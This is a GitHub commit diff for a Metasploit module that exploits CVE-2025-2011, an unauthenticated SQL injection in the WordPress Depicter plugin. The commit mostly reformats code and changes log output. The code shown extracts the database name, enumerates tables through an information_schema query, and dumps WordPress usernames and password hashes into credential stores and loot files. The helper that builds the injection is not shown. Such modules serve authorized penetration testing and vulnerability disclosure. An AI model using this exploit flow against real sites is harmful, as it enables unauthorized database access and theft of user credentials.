Skip to content

Commit d7a4753

Browse files
committed
Add suggestions + rubocop
1 parent 1888aba commit d7a4753

File tree

1 file changed

+30
-15
lines changed

1 file changed

+30
-15
lines changed

modules/auxiliary/scanner/http/wp_depicter_sqli_cve_2025_2011.rb

Lines changed: 30 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,9 @@ def initialize(info = {})
1414
info,
1515
'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)',
1616
'Description' => %q{
17-
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1 is vulnerable to unauthenticated SQL injection via the 's' parameter in admin-ajax.php.
17+
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1
18+
is vulnerable to unauthenticated SQL injection via the 's' parameter
19+
in admin-ajax.php.
1820
},
1921
'Author' => [
2022
'Muhamad Visat', # Vulnerability Discovery
@@ -27,17 +29,26 @@ def initialize(info = {})
2729
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
2830
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
2931
],
30-
'Actions' => [['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]],
32+
'Actions' => [
33+
['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]
34+
],
3135
'DefaultAction' => 'SQLi',
32-
'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
36+
'DefaultOptions' => {
37+
'VERBOSE' => true,
38+
'COUNT' => 1
39+
},
3340
'DisclosureDate' => '2025-05-08',
34-
'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] }
41+
'Notes' => {
42+
'Stability' => [CRASH_SAFE],
43+
'SideEffects' => [IOC_IN_LOGS],
44+
'Reliability' => []
45+
}
3546
)
3647
)
3748
end
3849

3950
def run_host(_ip)
40-
print_status('Retrieving database name via SQLi...')
51+
vprint_status('Retrieving database name via SQLi...')
4152
db_name = extract_value_from_sqli('database()')
4253
fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name
4354
vprint_good("Database name: #{db_name}")
@@ -46,12 +57,12 @@ def run_host(_ip)
4657
raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()'
4758
tables_csv = extract_value_from_sqli(raw)
4859
fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv
49-
print_good("Tables: #{tables_csv}")
60+
vprint_good("Tables: #{tables_csv}")
5061

5162
visible_tables = tables_csv.split(',')
5263
prefix = visible_tables.first.split('_').first
5364
users_table = "#{prefix}_users"
54-
print_status("Inferred users table: #{users_table}")
65+
vprint_status("Inferred users table: #{users_table}")
5566

5667
print_status('Extracting user credentials...')
5768
limit = datastore['COUNT'].to_i
@@ -69,6 +80,7 @@ def run_host(_ip)
6980
data.each do |user|
7081
table << user
7182
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
83+
7284
create_credential(
7385
workspace_id: myworkspace_id,
7486
origin_type: :service,
@@ -87,24 +99,27 @@ def run_host(_ip)
8799
end
88100

89101
print_line(table.to_s)
102+
103+
service = report_service(
104+
host: datastore['RHOST'],
105+
port: datastore['RPORT'],
106+
proto: 'tcp',
107+
name: fullname,
108+
info: description.strip
109+
)
110+
90111
loot_path = store_loot(
91112
'wordpress.users',
92113
'text/plain',
93114
datastore['RHOST'],
94115
loot_data,
95116
'wp_users.txt',
96-
'WP Usernames and Password Hashes'
117+
'WP Usernames and Password Hashes',
118+
service
97119
)
98120
print_good("Loot saved to: #{loot_path}")
99121

100122
report_host(host: datastore['RHOST'])
101-
report_service(
102-
host: datastore['RHOST'],
103-
port: datastore['RPORT'],
104-
proto: 'tcp',
105-
name: fullname,
106-
info: description.strip
107-
)
108123
report_vuln(
109124
host: datastore['RHOST'],
110125
port: datastore['RPORT'],

0 commit comments

Comments
 (0)